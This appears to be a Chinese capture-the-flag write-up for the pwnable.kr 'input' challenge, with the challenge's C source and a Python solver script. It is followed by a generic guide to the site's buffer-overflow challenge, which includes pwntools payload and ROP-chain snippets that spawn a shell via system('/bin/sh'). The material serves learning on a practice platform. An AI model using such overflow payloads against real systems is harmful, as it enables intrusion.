pwnable.kr-input WP

本文详述了破解pwnable.kr上某项挑战的全过程,涉及argv、stdio、env、file及network编程,通过Python脚本实现各阶段难题的解决。

首先连进去运行一下

查看一下源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");

    // argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n"); 

    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");
    
    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

    // file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n"); 

    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

    // here's your flag
    system("/bin/cat flag");    
    return 0;
}

这个源码有点长,通过源码的注释可以看到这个题有五个阶段,分别涉及到argv,stdio,env,file,network相关知识。我们一个一个来看。

argv

    // argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n"); 

首先来看第一部分,通过这几行代码可以看到,首先你的参数个数得是100,并且argv['A']='\x00',argv['B']='\x20\x0a\x0d',这里他用的是字母’A’,'B’做的索引值,系统会将这个字母转换为对应的ascii值,也就是argv[65],argv[66]。这里先用python生成99个A作为参数的初始化(程序名作为第一个参数,所以还需要99个参数),然后令argv[ord('A')-1]='\x00',argv[ord('B')-1]='\x20\x0a\x0d'

stdio

// stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");

第二部分用了一个read()函数,从标准输入中读取了4个字节到buf中。

ssize_t read(int fd,void * buf ,size_t count);  
read()会把参数fd所指的文件传送count个字节到buf指针所指的内存中。
fd(文件描述符)在前面的题中已经遇到过了,0表示标准输入,1表示标准输出,2表示标准错误。

所以这部分要求从stdin读取"\x00\x0a\x00\xff",从标准输出中读取"\x00\x0a\x02\xff"。这里需要采用os的pipe()函数os.pipe() 方法用于创建一个管道, 返回一对文件描述符(r, w) 分别为读和写。在python脚本的最初,我们声明了两个pipe管道,stdinr,stdinw和stderrr,stderrw,其作用就是向stdin和stderr写入题目需要的字符串,而如果直接用stdin和stderr是无法直接写入的,所以利用管道的双向读写功能来完成这一部分。

env

// env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

这里用到了getenv()函数来获取环境字符串。

char *getenv(const char *name) 
搜索 name 所指向的环境字符串,并返回相关的值给字符串。  

这里是要让"\xde\xad\xbe\xef"的环境变量等于"\xca\xfe\xba\xbe",那么在python脚本中就可以通过定义一个字典,然后让"\xde\xad\xbe\xef"对应"\xca\xfe\xba\xbe",在Popen函数的时候,将这个字典当作env的参数就好了。

file

// file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n"); 

接下来是第四部分,通过fread()函数,从fp中读取一个元素,4字节大小到buf中。

size_t fread(void *buffer, size_t size, size_t count FILE *stream)
就是读取stream流中count个元素,每个元素size大小,读取到buffer中

因此,只要在python脚本中写入4个’\x00’就好了。

network

// network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);   //创建套接字
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;   //地址族
    saddr.sin_addr.s_addr = INADDR_ANY;    //IP地址
    saddr.sin_port = htons( atoi(argv['C']) ); //端口号
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

这一部分涉及到网络编程相关的知识,用socket()函数创建一个套接字

int socket(int domain, int type, int protocol);
domain为协议族,这里用的AF_INET表示用ipv4地址
type指Socket类型,流式Socket(SOCK_STREAM)是一种面向连接的Socket,针对于面向连接的TCP服务应用。
protocol表示协议,常用协议有IPPROTO_TCP、IPPROTO_UDP、IPPROTO_STCP、IPPROTO_TIPC等,分别对应TCP传输协议、UDP传输协议、STCP传输协议、TIPC传输协议。当第三个参数为0时,会自动选择第二个参数类型对应的默认协议。

bind()函数通过给一个未命名套接口分配一个本地名字来为套接口建立本地捆绑(主机地址/端口号),这里的端口号为参数argv[‘C’]的值。
listen()函数用来创建一个套接口并监听申请的连接。

int listen( int sockfd, int backlog);  
sockfd:用于标识一个已捆绑未连接套接口的描述字。  
backlog:等待连接队列的最大长度。

accept()函数的作用是在一个套接口接受一个连接。

int accept(int sockfd,struct sockaddr *addr,socklen_t *addrlen);
成功返回一个新的套接字描述符,失败返回-1。  
sockfd:套接字描述符,该套接口在listen()后监听连接。  
addr:(可选)指针,指向一缓冲区,其中接收为通讯层所知的连接实体的地址。  Addr参数的实际格式由套接口创建时所产生的地址族确定。  
addrlen:(可选)指针,输入参数,配合addr一起使用,指向存有addr地址长度的整型数。

前面都是建立socket连接的过程,主要的还是要看建立连接以后的这一部分,也就是recv函数这块,recv函数原型ssize_t recv(int sockfd, void *buf, size_t len, int flags);,用来从socket中接收数据,官方解释如果flags为0那么recv()函数就相当于read()函数,本题就是服务端接受的4字节的数据并且放到buf中。memcmp函数,这个函数就是比较buf与"\xde\xad\xbe\xef"的前4字节的内容是否相等,相等则返回0,因此这部分就是向服务端发送"\xde\xad\xbe\xef"这个字符串即可通过。

脚本如下:

import os
import socket
import time
import subprocess

stdinr, stdinw = os.pipe()
stderrr, stderrw = os.pipe()

args = list("A"*99)
args[ord('A') - 1] = ""    
args[ord('B') - 1] = "\x20\x0a\x0d"
args[ord("C") - 1] = "8888"

os.write(stdinw, "\x00\x0a\x00\xff")
os.write(stderrw, "\x00\x0a\x02\xff")

environ = {"\xde\xad\xbe\xef" : "\xca\xfe\xba\xbe"}

f = open("\x0a" , "wb")
f.write("\x00"*4)
f.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

pro = subprocess.Popen(["/home/input2/input"]+args, stdin=stdinr,stderr=stderrr,env=environ)

time.sleep(2)
s.connect(("127.0.0.1", 8888))
s.send("\xde\xad\xbe\xef")
s.close()

理论上讲这道题已经解出来了,但是在实际操作的时候又遇到了一些问题,首先是你对/home/input2这个目录没有写的权限,所以没办法将脚本传到这里来执行。


查看一下目录权限情况,我们发现对/tmp目录下有写和执行的权限,可以把脚本放到这里来执行,但是没有读的权限。

所以我们要在/tmp目录下新建一个目录,这里我见了一个inputs文件,将脚本传到了这个目录下。

还有一个问题,就是input.c中获取flag的语句system("/bin/cat flag");用的是相对路径,所以我们需要在执行脚本的目录下创建一个flag的副本,通过软连接的方式连接到真正的flag

ln [参数][源文件或目录][目标文件或目录]
-s 软链接(符号链接)
软链接,以路径的形式存在。类似于Windows操作系统中的快捷方式

这样就能获取flag了

这道题涉及的知识很多,需要一点点去学,哪部分不懂就去搜哪部分,关于网络编程的那部分可以参考一下《UNIX网络编程卷1:套接字联网API》这本书,还有最后遇到的读写权限问题,可以去网上看一下linux文件权限那部分。
本题参考了Pino_HD的博客,脚本就是从这位大佬copy过来的,还有一个版本的wp讲解的也比较详细,是通过C语言来解的题,werewblog,大家可以参考一下不同的wp

### pwnable.kr bof题目概述 pwnable.kr 是一个著名的在线渗透测试练习平台,bof(Buffer Overflow,缓冲区溢出)题目是其中经典类型。缓冲区溢出通常是由于程序没有正确检查用户输入的长度,导致输入的数据超出了缓冲区的边界,从而覆盖相邻的内存区域,可能改变程序的执行流程。 ### 解题思路与步骤 #### 1. 环境准备 首先需要在本地搭建好调试环境,安装必要的工具,如`gdb`(GNU调试器)、`pwntools`(Python 库,用于编写漏洞利用脚本)等。例如,使用`pwntools`可以方便地与远程服务器进行交互。 ```python from pwn import * # 连接到远程服务器 p = remote('pwnable.kr', 9000) ``` #### 2. 分析程序 - **反汇编**:使用`objdump`或`gdb`对目标程序进行反汇编,查看程序的汇编代码,了解程序的逻辑和函数调用关系。例如,使用`objdump -d bof`可以得到程序的反汇编代码。 - **检查漏洞点**:重点关注程序中存在缓冲区操作的函数,如`gets`、`strcpy`等,这些函数通常不检查输入的长度,容易引发缓冲区溢出漏洞。 #### 3. 确定缓冲区大小 通过调试程序,向程序输入不同长度的数据,观察程序的行为,确定缓冲区的大小。可以使用`gdb`设置断点,在关键位置查看栈的状态。 ```python # 构造不同长度的测试数据 test_data = 'A' * 10 p.sendline(test_data) ``` #### 4. 覆盖返回地址 当确定了缓冲区大小后,构造恶意输入,覆盖程序的返回地址。返回地址是函数调用结束后程序要跳转执行的地址,通过覆盖它可以改变程序的执行流程。 ```python # 计算返回地址的偏移量 offset = 44 # 假设偏移量为 44 # 构造恶意输入 payload = 'A' * offset # 获取目标地址(如系统函数地址) target_address = p64(0xdeadbeef) payload += target_address p.sendline(payload) ``` #### 5. 利用漏洞执行任意代码 - **调用系统函数**:如果程序中存在可利用的系统函数(如`system`),可以通过覆盖返回地址,将程序的执行流程引导到这些函数上,并传入合适的参数(如`/bin/sh`),从而获得一个 shell。 - **ROP 链**:如果程序中没有合适的系统函数可以直接调用,可以使用 ROP(Return Oriented Programming,面向返回编程)技术,通过拼接多个小的代码片段(gadget)来实现复杂的功能。 ```python # 构造 ROP 链 rop = ROP(elf) # 查找合适的 gadget pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] bin_sh = next(elf.search(b'/bin/sh')) system_addr = elf.symbols['system'] # 构造 ROP 链 rop.raw(pop_rdi) rop.raw(bin_sh) rop.raw(system_addr) # 构造最终的 payload payload = 'A' * offset + str(rop) p.sendline(payload) ``` ### 技术分析 #### 缓冲区溢出原理 缓冲区溢出是由于程序对输入数据的长度没有进行有效的检查,导致输入的数据超出了缓冲区的边界,覆盖了相邻的内存区域。在栈上,函数调用时会保存返回地址等信息,当缓冲区溢出发生时,返回地址可能被覆盖,从而改变程序的执行流程。 #### 栈布局与内存管理 了解栈的布局对于利用缓冲区溢出漏洞至关重要。栈是一种后进先出的数据结构,函数调用时会在栈上分配空间,保存局部变量、参数和返回地址等信息。通过调试和分析栈的状态,可以确定缓冲区的位置和返回地址的偏移量。 #### 保护机制绕过 现代操作系统和编译器通常会采用一些保护机制,如 ASLR(地址空间布局随机化)、Canary(栈保护)等,来防止缓冲区溢出漏洞的利用。在解题过程中,需要了解这些保护机制,并寻找相应的绕过方法。例如,对于 ASLR,可以通过泄露程序的基地址来绕过;对于 Canary,可以通过泄露 Canary 的值来绕过。 ### 总结 解决 pwnable.kr 的 bof 题目需要掌握缓冲区溢出的基本原理、调试技巧和漏洞利用技术。通过不断地练习和实践,可以提高对漏洞的分析和利用能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值